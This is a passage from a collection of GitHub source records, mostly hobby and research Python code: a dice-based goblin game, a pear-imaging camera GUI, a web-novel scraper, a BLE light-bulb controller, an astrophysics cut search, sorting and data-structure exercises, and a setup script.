{roll} + {to_hit} to hit!')\n #rolls damage based on dice input, damage_type index 0 is number of dice, index 1 is type of dice\n damage = int(damage_type[0]) * random.randint(1, int(damage_type[1]))\n\n # logic for players roll to check for hit and do damage\n # first check for natural 20 and resolve hit\n if roll == 20:\n print('Critical hit! The goblin is badly injured!')\n # doubles damage for a critical hit!\n damage *= 2\n # informs player of damage done\n print(f'You did {damage} damage!')\n # damages goblin\n goblin_HP -= damage\n # second check for a natural 1 and resolve (natural 1 is always a miss)\n elif roll == 1:\n print('Critical miss. You took your own arrow to the knee...')\n # checks if total_hit is above goblin's Armor Class \n elif goblin_AC <= total_hit:\n print('You hit the goblin, it looks angry...')\n #informs player of damage done\n print(f'You did {damage} damage!')\n goblin_HP -= damage\n elif total_hit < goblin_AC:\n # informs player of miss\n print('You missed the goblin. You call yourself an adventurer...')\n \n # print output for player regarding goblin's health\n if goblin_HP == 7:\n print('The goblin is unharmed')\n elif goblin_HP >=4:\n print('The goblin is injured! Keep at it!')\n elif 1 <= goblin_HP < 4:\n print('The goblin is looking rough...')\n elif goblin_HP <= 0:\n print('The goblin is vanquished! HUZZAH!')\n","repo_name":"SethM-SDE/mycode","sub_path":"assignments/goblinslayer.py","file_name":"goblinslayer.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27445500486","text":"# -*- coding: utf-8 -*-\r\n\r\n__author__ = \"nishiyama\"\r\n__version__ = \"1.0.0\"\r\n__date__ = \"2020.3.11\"\r\n\r\nimport os\r\nimport sys\r\nimport threading\r\nimport time\r\nimport queue\r\nfrom datetime import datetime\r\n\r\nimport numpy as np\r\nimport cv2\r\nfrom PyQt5 import QtCore, QtGui, uic, QtWidgets\r\n\r\nfrom tritonclient.utils import *\r\n# import tritonclient.grpc as grpcclient\r\nimport tritonclient.http as httpclient\r\n\r\nfrom pear_imaging.bfs_controller import BFSCtrl\r\nfrom pear_imaging import sercom as sc\r\nfrom pear_imaging.enums import CameraId, OpCode, RxIndex, TableRot\r\nfrom pear_imaging.widgets.image_widget import ImageWidget\r\n\r\nform_class = uic.loadUiType(\"pear_imaging/app.ui\")[0]\r\nrunning = False\r\ncapture_thread = None\r\nq = queue.Queue()\r\nbfs_ctrl = BFSCtrl()\r\navailable_serial_list = []\r\n\r\nTIMEOUT_LIMIT = 8000\r\n\r\n\r\ndef labeling(image, coordinates):\r\n \"\"\"\r\n ラベルをつける対象の画像に対し��,バウンディングボックスの作成及びラベルの文字付与を行う\r\n Args:\r\n image(ndarray): 対象の画像\r\n coordinates(Coordinate): バウンディングボックスのオブジェクト\r\n class_index(int): 対象領域の汚損要因のクラスインデックス\r\n Returns:\r\n labeled_image(ndarray): 対象画像にバウンディングホボックス及びラベルをつけた後の画像\r\n \"\"\"\r\n # ラベル付けの対象位置を定義\r\n upper_left = (int(coordinates[0]), int(coordinates[1]))\r\n under_right = (int(coordinates[2]), int(coordinates[3]))\r\n\r\n # ラベル付け対象の位置にバウンディングボックスを生成\r\n labeled_image = cv2.rectangle(image, upper_left, under_right, (255, 255, 255))\r\n # バウンディングボックスに対してラベルの文字を付与\r\n labeled_image = cv2.putText(\r\n labeled_image,\r\n str(coordinates[4]),\r\n (int(coordinates[0]), int(coordinates[1] - 5)),\r\n cv2.FONT_HERSHEY_COMPLEX,\r\n 0.7,\r\n (0, 0, 0),\r\n 1\r\n )\r\n return labeled_image\r\n\r\nclass MainWindow(QtWidgets.QMainWindow, form_class):\r\n def __init__(self, parent=None):\r\n QtWidgets.QMainWindow.__init__(self, parent)\r\n self.setupUi(self)\r\n \r\n self.inc_pear_no_btn.clicked.connect(self.increase_pear_no)\r\n self.dec_pear_no_btn.clicked.connect(self.decrease_pear_no)\r\n \r\n # self.apply_motor_btn.clicked.connect(lambda: self.move_turntable(-1))\r\n self.zhome_btn.clicked.connect(lambda: self.move_turntable(TableRot.ZHOME))\r\n\r\n self.save_img_btn.clicked.connect(self.evaluate)\r\n\r\n self.widget_shape = [self.img_window.frameSize().height(),\r\n self.img_window.frameSize().width()]\r\n self.img_window = ImageWidget(self.img_window)\r\n self.__set_image(self.__blank_rgb_image(self.widget_shape), self.img_window, self.widget_shape)\r\n \r\n self.current_pear_no = 1\r\n self.current_pear_rot = 0\r\n\r\n self.frame_buff = None\r\n\r\n self.dst_parent_dir = \"./output\"\r\n if not os.path.isdir(self.dst_parent_dir):\r\n os.mkdir(self.dst_parent_dir)\r\n \r\n self.ser = sc.SerCom(\"COM3\", \"115200\")\r\n self.rx_data = []\r\n self.timeout = 0\r\n self.timer = QtCore.QTimer(self)\r\n self.timer.timeout.connect(self.update)\r\n self.timer.start(1) # 1ms間隔\r\n\r\n self.__start()\r\n\r\n def __blank_rgb_image(self, shape):\r\n height, width = shape\r\n return np.zeros((height, width, 3), dtype=np.uint8)\r\n \r\n def __start(self):\r\n global running\r\n running = True\r\n\r\n if not bfs_ctrl.detect_devices():\r\n print(\"Error: device could not be detected\")\r\n bfs_ctrl.release_devices()\r\n self.close()\r\n\r\n sys.exit(1)\r\n\r\n print(\"Detected number of device: %d\" % bfs_ctrl.get_num_device())\r\n\r\n global available_serial_list\r\n available_serial_list = bfs_ctrl.get_serial_list()\r\n if not bfs_ctrl.configure_custom_settings(\"ini/device_config.ini\", \\\r\n \"utf8\", suppress_msg=False):\r\n # print(a)\r\n print(\"Error: failed to set custom image settings\")\r\n print(\"Please reconnect the devices\")\r\n bfs_ctrl.release_devices()\r\n self.close()\r\n\r\n sys.exit(1)\r\n print(\"OK!!\")\r\n \r\n self.save_img_btn.setEnabled(True)\r\n\r\n self.pear_no_label.setText(\"{0:02d}\".format(self.current_pear_no))\r\n \r\n bfs_ctrl.start_device(CameraId.SIDE)\r\n capture_thread.start()\r\n led_patt = 3 # self.__get_current_led_pattern()\r\n pkt = [OpCode.LED_ON, led_patt, 255]\r\n self.ser.send_pkt(pkt)\r\n\r\n self.zhome_btn.setEnabled(False)\r\n self.__msg_listener()\r\n self.set_led()\r\n self.move_turntable(TableRot.ZHOME)\r\n \r\n print(\"[PC] Start\")\r\n \r\n def increase_pear_no(self):\r\n self.current_pear_no += 1\r\n if self.current_pear_no > 99:\r\n self.current_pear_no = 1\r\n self.pear_no_label.setText(\"{0:02d}\".format(self.current_pear_no))\r\n\r\n def decrease_pear_no(self):\r\n self.current_pear_no -= 1\r\n if self.current_pear_no < 1:\r\n self.current_pear_no = 99\r\n self.pear_no_label.setText(\"{0:02d}\".format(self.current_pear_no))\r\n\r\n def set_led(self):\r\n led_patt = 3 # self.__get_current_led_pattern()\r\n pkt = [OpCode.LED_ON, led_patt, 0]\r\n print('sfasfa')\r\n self.ser.send_pkt(pkt)\r\n\r\n def move_turntable(self, opdata=-1):\r\n if opdata == -1:\r\n opdata = self.opdata_combobox.currentIndex()\r\n print(self.__check_ready())\r\n # print(opdata)\r\n if self.__check_ready():\r\n pkt = [OpCode.MV_MOTOR, opdata, 0]\r\n # print(f'pkt {pkt}')\r\n self.ser.send_pkt(pkt)\r\n \r\n if opdata == TableRot.ZHOME:\r\n self.current_pear_rot = 0\r\n else:\r\n self.current_pear_rot += TableRot.DEG_PER_120 \r\n \r\n self.turntable_rot_label.setText(str(self.current_pear_rot))\r\n #self.print_message(\"Table rotation: {0:4d}[deg]\".format(self.current_pear_rot))\r\n\r\n if self.current_pear_rot == 0:\r\n self.zhome_btn.setEnabled(False)\r\n else:\r\n self.zhome_btn.setEnabled(True)\r\n\r\n def evaluate(self):\r\n \"\"\" 現在の画像を保存 \"\"\"\r\n global running\r\n global available_serial_list\r\n number_pictures = 3\r\n if running:\r\n dst_dir_path = os.path.join(self.dst_parent_dir, \"Pear{:02d}\".format(self.current_pear_no))\r\n # async_responses = []\r\n file_names = []\r\n # client = httpclient.InferenceServerClient(\"133.35.129.10:8000\")\r\n for index in range(number_pictures):\r\n\r\n fname = \"Pear{0:02d}-{1}.png\".format(self.current_pear_no, str(index))\r\n file_names.append(fname)\r\n if not os.path.isdir(dst_dir_path):\r\n os.mkdir(dst_dir_path)\r\n os.mkdir(dst_dir_path + '/result/')\r\n dst_file_path = os.path.join(dst_dir_path, fname)\r\n image = bfs_ctrl.grab(CameraId.SIDE)\r\n # image = image[700:, 700:1800]\r\n cv2.imwrite(dst_file_path, image)\r\n self.move_turntable(TableRot.DEG_PER_120)\r\n # inputs = [\r\n # httpclient.InferInput(\"IMAGE\", image.shape,\r\n # np_to_triton_dtype(image.dtype)),\r\n # ]\r\n\r\n # inputs[0].set_data_from_numpy(image)\r\n\r\n # outputs = [\r\n # httpclient.InferRequestedOutput(\"SEGMENTATION_RESULT\"),\r\n # httpclient.InferRequestedOutput(\"DETECTION_RESULT\"),\r\n # ]\r\n\r\n # async_responses.append(\r\n # client.async_infer(\r\n # model_name='pear_evaluator',\r\n # inputs=inputs,\r\n # outputs=outputs\r\n # )\r\n # )\r\n # print(f'Inference {index} requested.')\r\n time.sleep(3)\r\n self.update()\r\n # # self.move_turntable(TableRot.DEG_PER_90)\r\n # for response, fname in zip(async_responses, file_names):\r\n # result = response.get_result()\r\n # coordinates = result.as_numpy(\"DETECTION_RESULT\")\r\n\r\n # for coordinate in coordinates:\r\n # image = labeling(image, coordinate)\r\n \r\n # dst_file_path = os.path.join(dst_dir_path + '/result/' , fname)\r\n # print(dst_file_path)\r\n # cv2.imwrite(dst_file_path, image)\r\n\r\n self.print_message('検査終了')\r\n self.print_message('検査結果は 青秀 です。')\r\n \r\n \r\n def print_message(self, msg):\r\n self.message_box.append(\"{0:%Y-%m-%d %H:%M:%S}: \".format(datetime.now()))\r\n self.message_box.append(\" \"+msg)\r\n\r\n def update(self):\r\n global available_serial_list\r\n\r\n # フレーム更新\r\n if not q.empty():\r\n frame = q.get()\r\n \r\n if CameraId.SIDE in available_serial_list:\r\n self.frame_buff = frame[\"Side\"]\r\n self.__set_image(self.frame_buff, self.img_window, self.widget_shape)\r\n \r\n #q.task_done() # フレームの更新が完了したことをキューに知らせる\r\n\r\n # RXデータの更新\r\n self.__msg_listener()\r\n \r\n def __msg_listener(self):\r\n if running and self.timeout > TIMEOUT_LIMIT:\r\n print(\"System Timeout.\")\r\n self.close()\r\n rx_tmp = self.ser.recv()\r\n if rx_tmp == b'':\r\n self.rx_data = []\r\n self.timeout += 1\r\n else:\r\n self.rx_data = [1 if (int.from_bytes(rx_tmp, \"big\") & 2**i)>0 else 0 for i in range(8)]\r\n # モータのステータス更新\r\n #self.__status_monitor()\r\n\r\n self.timeout = 0\r\n\r\n def __check_ready(self):\r\n return True if self.rx_data[RxIndex.READY] else False\r\n\r\n def __set_image(self, src_img, img_widget, widget_shape):\r\n if self.__is_gray_image(src_img):\r\n img_height, img_width = src_img.shape\r\n img_format = QtGui.QImage.Format_Grayscale8\r\n else:\r\n img_height, img_width, __ = src_img.shape\r\n img_format = QtGui.QImage.Format_RGB888\r\n\r\n widget_height, widget_width = widget_shape\r\n\r\n scale_w = float(widget_width) / float(img_width)\r\n scale_h = float(widget_height) / float(img_height)\r\n scale = min([scale_w, scale_h])\r\n if scale == 0:\r\n scale = 1\r\n\r\n processed_img = cv2.resize(src_img, None, fx=scale, fy=scale, interpolation=cv2.INTER_CUBIC)\r\n if self.__is_gray_image(src_img):\r\n height, width = processed_img.shape\r\n bpl = width\r\n else:\r\n processed_img = cv2.cvtColor(processed_img, cv2.COLOR_BGR2RGB)\r\n height, width, bpc = processed_img.shape\r\n bpl = bpc * width\r\n\r\n qimage = QtGui.QImage(processed_img.data, width, height, bpl, img_format)\r\n img_widget.setImage(qimage)\r\n\r\n def __is_gray_image(self, image):\r\n if len(image.shape) == 2:\r\n return True\r\n else:\r\n return False\r\n\r\ndef grabber(queue):\r\n \r\n global running\r\n global available_serial_list\r\n while running:\r\n #q.join() # アプリ側のフレーム更新メソッドが完了するまで待機\r\n frame = {}\r\n if CameraId.SIDE in available_serial_list:\r\n frame[\"Side\"] = bfs_ctrl.grab(CameraId.SIDE)\r\n\r\n if queue.qsize() < 10:\r\n queue.put(frame)\r\n else:\r\n # print(queue.qsize())\r\n pass\r\n\r\nif __name__ == \"__main__\":\r\n capture_thread = threading.Thread(target=grabber, args=(q,))\r\n try:\r\n app = QtWidgets.QApplication(sys.argv)\r\n w = MainWindow(None)\r\n w.setWindowTitle(\"Pear Imaging System\")\r\n w.show()\r\n app.exec_()\r\n\r\n # 後始末\r\n del capture_thread\r\n bfs_ctrl.release_devices()\r\n except Exception:\r\n del capture_thread\r\n bfs_ctrl.release_devices()\r\n sys.exit()\r\n","repo_name":"knakazawa99/PearGradingSystem","sub_path":"gui/pear_imaging/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":12571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71465382181","text":"from lxml import etree\nimport requests\nimport os\nfrom zhconv import convert\n\ndef GetHTMLContent(url): #return r\n\theaders = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}\n\tr = requests.get(url, headers = headers)\n\tr.raise_for_status()\n\tr.encoding = 'UTF-8'\n\treturn r\n\n\ndef get_the_url(name, url):\n\tr = GetHTMLContent(url)\n\thtml = etree.HTML(r.text)\n\tUrls = html.xpath('/html/body/div[3]/div[1]/ul[3]/li/a/@href')\n\tnew_Urls = []\n\tfor url in Urls[1:]:\n\t\tnew_Urls.append('https:' + url)\n\tcap = 1\n\tfor url in new_Urls:\n\t\tr = GetHTMLContent(url)\n\t\thtml = etree.HTML(r.text)\n\t\tcontents = html.xpath('//*[@id=\"sticky-parent\"]/div[2]/div[4]/text()')\n\t\tnew_contents = []\n\t\tfor i in contents:\n\t\t\tif i == '\\r\\n':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tnew_contents.append(i.replace('\\r\\n\\u3000\\u3000', ''))\n\t\talle = ''\n\t\tfor i in new_contents[1:]:\n\t\t\talle += i\n\t\t\n\t\t\twith open(name + '/' + str(cap) + '.txt', 'w') as f:\n\t\t\t\ttry:\n\t\t\t\t\tf.write(alle)\n\t\t\t\texcept:\n\t\t\t\t\tf.write('error')\n\t\tcap += 1\n\treturn cap - 1\n\ndef f2j(cap, name):\n\tfor idx in range(1, cap + 1):\n\t\ttry:\n\t\t\twith open(name + '/' + str(idx) + '.txt', 'r') as f:\n\t\t\t\tcontent = f.read()\n\t\t\tj = convert(content, 'zh-cn')\n\t\t\twith open(name + '/' + 'j_' + str(idx) + '.txt', 'w') as f:\n\t\t\t\tf.write(j)\n\t\texcept:\n\t\t\twith open(name + '/' + 'j_' + str(idx) + '.txt', 'w') as f:\n\t\t\t\tf.write('error')\n\ndef zhenghe(cap, name):\n\twhole = ''\n\tfor i in range(1, cap + 1):\n\t\twith open(name + '/' + 'j_' + str(i) + '.txt', 'r') as f:\n\t\t\twhole = whole + str(i) + '\\n' + f.read() + '\\n\\n'\n\twith open(name + '/' + name + '.txt', 'w') as f:\n\t\tf.write(whole)\n\ndef main():\n\tnames = ['穿進肉文被操翻了怎麼辦']\n\turls = ['https://czbooks.net/n/cpgg3m8']\n\tdata = zip(names, urls)\n\tfor name, url in data:\n\t\ttry:\n\t\t\tos.mkdir(name)\n\t\t\tcap = get_the_url(name, url)\n\t\t\tf2j(cap, name)\n\t\t\tzhenghe(cap, name)\n\t\t\tprint(f'{name}已下载完毕')\n\t\texcept:\n\t\t\tprint(f'正在下载{name}时出错,已跳过,开始下载下一部小说')\n\t\t\tcontinue\n\nif __name__ == '__main__':\n\tmain()","repo_name":"glzhangzhi/talk_cheap","sub_path":"爬虫项目/hxs/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70728867622","text":"import os\nimport json\nimport pickle\n\n\ndef convert(predicted_file_path, json_file):\n\n\n\n with open(predicted_file_path, 'rb') as f:\n json_list = []\n data = pickle.load(f)\n #print(data[1651][0]['id'])\n i = 0\n for pre_data in data[0:1651]:\n #print(len(pre_data[0]))\n for j in range(len(pre_data[0])):\n\n xmin = pre_data[0][j][0]\n ymin = pre_data[0][j][1]\n xmax = pre_data[0][j][2]\n ymax = pre_data[0][j][3]\n\n image_id = int(data[1651][i]['id'])\n category_id = int(1)\n width = float(xmax)-float(xmin)\n height = float(ymax)-float(ymin)\n bbox = [float(xmin),float(ymin),width,height]\n score = float(pre_data[0][j][4])\n json_dict = {\"image_id\": image_id, \"category_id\": category_id, \"bbox\": bbox, \"score\": score}\n json_list.append(json_dict)\n i = i+1\n\n json_fp = open(json_file, 'w')\n json_str = json.dumps(json_list)\n json_fp.write(json_str)\n json_fp.close()\n\n\n\nif __name__ == '__main__':\n predicted_file_path = \"/home/djw/PycharmProjects/CVWC-2019-FCOS/tools/work_dir/3/output_e2.pkl\"\n json_file = '/home/djw/Downloads/voc2coco/fcosv4_voc2coco_tiger.json'\n\n convert(predicted_file_path = predicted_file_path,json_file=json_file)","repo_name":"JwDong2019/CVWC-2019-FCOS","sub_path":"read_pkl.py","file_name":"read_pkl.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"34309904268","text":"import sys\n\nif sys.version_info[0] > 2:\n from tkinter import *\n from tkinter.colorchooser import askcolor\nelse:\n from Tkinter import *\n from tkColorChooser import askcolor\n\nimport colorsys\nimport math, sys, time\nfrom bledevice import scanble, BLEDevice\n\nbulb = None\nWRITE_CHAR = \"0000ffe9\"\nREAD_CHAR = \"0000ffe4\"\n\nPOWER_STX = \"cc\"\nPOWER_ETX = \"33\"\nPOWER_ON = \"23\"\nPOWER_OFF = \"24\"\n\nLIGHT_STX = \"56\"\nLIGHT_ETX = \"aa\"\nRGB_MODE = \"f0\"\nWARM_MODE = \"0f\"\n\nMODE_STX = \"bb\"\nMODE_ETX = \"44\"\n\nclass ConnectPanel(Frame):\n def __init__(self, app):\n Frame.__init__(self, app)\n self.scanb = Button(self, text=\"Scan\", command=self.scan)\n self.bl = StringVar()\n self.bles = OptionMenu(self, self.bl, ())\n self.connb = Button(self, text=\"Connect\", command=self.connect)\n\n self.scanb.pack(side=LEFT)\n self.bles.pack(side=LEFT)\n self.connb.pack(side=RIGHT)\n\n def scan(self):\n bllist = scanble(timeout=2)\n print(bllist)\n if len(bllist) != 0:\n self.bl.set(bllist[0]['addr'])\n menu = self.bles['menu']\n menu.delete(0, 'end')\n for bl in bllist:\n menu.add_command(label=bl, command=lambda v=bl: self.bl.set(v['addr']))\n\n def connect(self):\n global bulb\n bulb = BLEDevice(self.bl.get())\n\nclass PowerPanel(Frame):\n def __init__(self, app):\n Frame.__init__(self, app)\n self.powerl = Label(self, text=\"Power\")\n self.onb = Button(self, text=\"On\", command=self.poweron)\n self.offb = Button(self, text=\"Off\", command=self.poweroff)\n\n self.powerl.pack(side=LEFT)\n self.offb.pack(side=RIGHT)\n self.onb.pack(side=RIGHT)\n\n def poweron(self):\n global bulb\n bulb.writecmd(bulb.getvaluehandle(WRITE_CHAR), POWER_STX+POWER_ON+POWER_ETX)\n\n def poweroff(self):\n global bulb\n bulb.writecmd(bulb.getvaluehandle(WRITE_CHAR), POWER_STX+POWER_OFF+POWER_ETX)\n\nclass RgbPanel(Frame):\n def __init__(self, app):\n Frame.__init__(self, app)\n self.rgbl = Label(self, text=\"RGB\")\n self.color = ((255, 255, 255), '#ffffff')\n self.selectb = Button(self, text=\"Select\", command=self.getcolor)\n self.coll = Label(self, text=\" \", bg=\"#FFFFFF\")\n self.setb = Button(self, text=\"Set\", command=self.setrgb)\n\n self.rgbl.pack(side=LEFT)\n self.setb.pack(side=RIGHT)\n self.coll.pack(side=RIGHT)\n self.selectb.pack(side=RIGHT)\n\n def getcolor(self):\n self.color = askcolor()\n print(\"color is \", self.color)\n self.coll.configure(bg=self.color[1])\n\n def setrgb(self):\n global bulb\n bulb.writecmd(bulb.getvaluehandle(WRITE_CHAR), LIGHT_STX+self.color[1][1:]+\"00\"+RGB_MODE+LIGHT_ETX)\n\nclass WarmPanel(Frame):\n def __init__(self, app):\n Frame.__init__(self, app)\n self.warml = Label(self, text=\"Warm\")\n self.color = DoubleVar()\n self.color.set(1.0)\n self.scale = Scale(self, variable=self.color, from_=0.0, to=1.0, resolution=0.01, command=self.changecolor, orient=HORIZONTAL)\n self.setb = Button(self, text=\"Set\", command=self.setwarm)\n\n self.warml.pack(side=LEFT)\n self.setb.pack(side=RIGHT)\n self.scale.pack(side=RIGHT)\n\n def changecolor(self, v):\n value = self.color.get()*255\n color = \"#%02x%02x00\" % (value, value)\n #print(\"color is \", color)\n self.scale.configure(bg=color)\n\n def setwarm(self):\n global bulb\n bulb.writecmd(bulb.getvaluehandle(WRITE_CHAR), LIGHT_STX+\"000000\"+(\"%02x\"%(self.color.get()*255))+WARM_MODE+LIGHT_ETX)\n\ntk = Tk()\ntk.title(\"BLE Light Bulb\")\n\nconnectp = ConnectPanel(tk)\nconnectp.pack()\npowerp = PowerPanel(tk)\npowerp.pack(fill=\"both\")\nrgbp = RgbPanel(tk)\nrgbp.pack(fill=\"both\")\nwarmp = WarmPanel(tk)\nwarmp.pack(fill=\"both\")\n\ndef shutdown():\n tk.destroy()\n\ntk.protocol(\"WM_DELETE_WINDOW\", shutdown)\ntk.mainloop()\n","repo_name":"swkim01/ble","sub_path":"blebulb.py","file_name":"blebulb.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"35"} +{"seq_id":"7362468902","text":"\"\"\"https://www.dndbeyond.com/spells/sanctuary\"\"\"\n\nfrom typing import Any\nfrom pycs.constant import ActionCategory\nfrom pycs.constant import SpellType\nfrom pycs.spell import SpellAction\n\n\n##############################################################################\nclass Sanctuary(SpellAction):\n \"\"\"Spell\"\"\"\n\n def __init__(self, **kwargs: Any):\n name = \"Sanctuary\"\n kwargs.update(\n {\n \"category\": ActionCategory.BONUS,\n \"reach\": 30,\n \"level\": 1,\n \"type\": SpellType.BUFF,\n }\n )\n super().__init__(name, **kwargs)\n\n def cast(self) -> bool:\n \"\"\"Do the spell\"\"\"\n return False\n\n\n# EOF\n","repo_name":"dwagon/pycs","sub_path":"pycs/spells/sanctuary.py","file_name":"sanctuary.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35376532316","text":"import numpy as np\nimport h5py\nfrom tqdm import tqdm\nimport pandas as pd\n\nfrom fact.io import read_h5py\nfrom fact.analysis import (\n li_ma_significance,\n split_on_off_source_independent,\n)\nimport click\n\ncolumns = [\n 'gamma_prediction',\n 'theta_deg',\n 'theta_deg_off_1',\n 'theta_deg_off_2',\n 'theta_deg_off_3',\n 'theta_deg_off_4',\n 'theta_deg_off_5',\n]\n\n\n@click.command()\n@click.argument('data_path')\n@click.option('--key', help='Key for the hdf5 group', default='events')\ndef main(data_path, key):\n\n events = read_h5py(data_path, key='events', columns=columns)\n\n theta2_cuts = np.arange(0.1, 0.0, -0.001)\n prediction_thresholds = np.arange(0.75, 1, 0.001)\n\n max_significance = 0\n selected = events\n for threshold in tqdm(prediction_thresholds):\n selected = selected.query('gamma_prediction >= {}'.format(threshold))\n\n theta2_on = selected.theta_deg**2\n theta2_off = pd.concat([\n selected['theta_deg_off_{}'.format(i)]\n for i in range(1, 6)\n ])**2\n\n for theta2_cut in theta2_cuts:\n theta2_on = theta2_on[theta2_on <= theta2_cut]\n theta2_off = theta2_off[theta2_off <= theta2_cut]\n\n n_on = len(theta2_on)\n n_off = len(theta2_off)\n\n sig = li_ma_significance(n_on, n_off, 0.2)\n if sig >= max_significance:\n max_significance = sig\n best_threshold = threshold\n best_theta2_cut = theta2_cut\n\n print('Threshold:', best_threshold)\n print('θ² cut: ', best_theta2_cut)\n print('Li&Ma :', max_significance)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"KevSed/OpenData_PhotonStream_Analysis","sub_path":"detection_gridsearch.py","file_name":"detection_gridsearch.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40755208952","text":"'''\nJack Youssef\n2/16/2023\n\nThis driver program tests the ArrayBag and LinkedBag classes, which now each include a clone method.\n\nThis program creates an ArrayBag, called array_bag. Then, array_bag_clone is created, using the clone method of array_bag.\nThese two bags are then compared for equality and identity. Their contents are identical, but they are not the same bag.\n\nThis program creates a LinkedBag, called linked_bag. Then, linked_bag_clone is created, using the clone method of linked_bag.\nThese two bags are then compared for equality and identity. Their contents are identical, but they are not the same bag.\n'''\n\nfrom arraybag import ArrayBag\nfrom linkedbag import LinkedBag\n \n \ndef main():\n ''' Tests the ArrayBag and LinkedBag classes. '''\n \n # testing ArrayBag's clone method\n print('Testing the ArrayBag clone method:\\n')\n array_bag = ArrayBag([1, 2, 3])\n array_bag_clone = array_bag.clone()\n print('array_bag == array_bag_clone, expecting true:', array_bag == array_bag_clone)\n print('array_bag is array_bag_clone, expecting false:', array_bag is array_bag_clone, '\\n')\n \n print('Testing the LinkedBag clone method:\\n')\n linked_bag = LinkedBag([4, 5, 6])\n linked_bag_clone = linked_bag.clone()\n print('linked_bag == linked_bag_clone, expecting true:', linked_bag == linked_bag_clone)\n print('linked_bag is linked_bag_clone, expecting false:', linked_bag is linked_bag_clone)\n\n\nif __name__ == '__main__':\n main()\n \n\n ","repo_name":"jacky0ussef/CSC242-Lab-4","sub_path":"Lab4_Youssef.py","file_name":"Lab4_Youssef.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9698763488","text":"from random import randint\r\n\r\ndef create_list():\r\n lis = []\r\n while len(lis) < 6:\r\n r = randint(-10, 10)\r\n if r not in lis:\r\n lis.append(r)\r\n return lis\r\n\r\ndef cocktail_sort(elem):\r\n n = len(elem)\r\n is_swapped = True\r\n begin = 0\r\n end = n-1\r\n\r\n while is_swapped:\r\n print(elem) \r\n is_swapped = False\r\n for i in range (begin, end):\r\n if (elem[i] > elem[i+1]) :\r\n temp = elem[i] \r\n elem[i] = elem[i+1] \r\n elem[i+1] = temp \r\n print(elem)\r\n is_swapped=True\r\n if not(is_swapped):\r\n break\r\n print(elem)\r\n is_swapped = False\r\n end = end-1\r\n for i in range(end-1, begin-1,-1):\r\n if elem[i] > elem[i + 1]: \r\n temp = elem[i] \r\n elem[i] = elem[i+1] \r\n elem[i+1] = temp \r\n print(elem)\r\n is_swapped = True\r\n begin = begin+1\r\n\r\ndef direction_sort(elem):\r\n count = int(input(\"\\nВведіть: 1 - зростання | 2 - спадання: \"))\r\n if count == 1:\r\n cocktail_sort(elem)\r\n elif count == 2:\r\n cocktail_sort(elem)\r\n elem.sort(reverse = True)\r\n else:\r\n print(\"\\nНекоректно введені дані\")\r\n\r\n\r\n","repo_name":"helga20/LNU_ProgrammingPython","sub_path":"EducationalPractice/04/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"16664276387","text":"\"\"\"\nAcidfile setup script.\n\n\"\"\"\nfrom setuptools import setup, find_packages\nimport os\nfrom io import open\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(HERE, 'README.rst'), encoding='utf-8').read()\nNEWS = open(os.path.join(HERE, 'NEWS.txt'), encoding='utf-8').read()\n\nVERSION = '1.2.1'\n\nsetup(name='acidfile',\n version=VERSION,\n description=\"ACID transaction with common files\",\n long_description=README + '\\n\\n' + NEWS,\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.2',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Software Development :: Embedded Systems',\n 'Topic :: System :: Archiving',\n ],\n keywords='ACID transactional file',\n author='Roberto Abdelkader Mart\\xc3\\xadnez P\\xc3\\xa9rez',\n author_email='robertomartinezp@gmail.com',\n url='https://github.com/nilp0inter/acidfile',\n license='LGPLv3',\n packages=find_packages('src'),\n package_dir={'': 'src'},\n include_package_data=True,\n zip_safe=False,)\n","repo_name":"nilp0inter/acidfile","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"22122566065","text":"import sys\nfrom Heap import *\n\nvertexDict = {}\n\ndef main():\n #Gets the command line argument for the input file name\n agrumentList = sys.argv\n if len(sys.argv) != 2:\n print(\"ERROR - Enter correct parameters - wordgame.py [fileName]\")\n return\n fileName = sys.argv[1]\n\n #This is for when not using command line arguments\n #fileName = \"5lw.dat\"\n\n try:\n #try to read in file\n file = open(fileName, \"r\")\n\n except IOError:\n print(\"ERROR - Unable to open specified file \" + fileName)\n return\n\n #read in all ines from file\n lines = file.readlines()\n wordGraph = createGraph(vertexDict, lines)\n\n #Run the trial continously until ended\n rerun = runGameTrial(wordGraph)\n while(rerun):\n rerun = runGameTrial(wordGraph)\n\n #Run test based on user input --- FOR PART 1\n##\n## rerun = runTrial(wordGraph)\n## while(rerun):\n## rerun = 